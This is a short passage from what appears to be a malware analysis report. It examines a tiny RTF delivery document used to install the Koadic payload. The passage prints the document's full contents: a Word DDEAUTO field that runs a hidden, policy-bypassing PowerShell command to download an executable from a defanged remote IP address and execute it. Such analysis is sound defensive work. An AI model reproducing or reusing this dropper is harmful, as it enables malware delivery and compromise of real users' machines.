Figure 6 Example of delivery document The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here:       {\rtf1{\field{\*\fldinst DDEAUTO "C:\\\\WIndowS\\\\SYsTem32\\\\cMD.eXe " "/C	POWErsHELl.eXE  -ex     BypaSs  -NOP	-w      HIdDen  (NEw-oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe( 'hxxp://86.106.131[.]177/link/GRAPH.EXE'  ,       '%apPDAtA%\graph.exe'   )   ;       saps    '%Appdata%\graph.exe'"}}}     The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload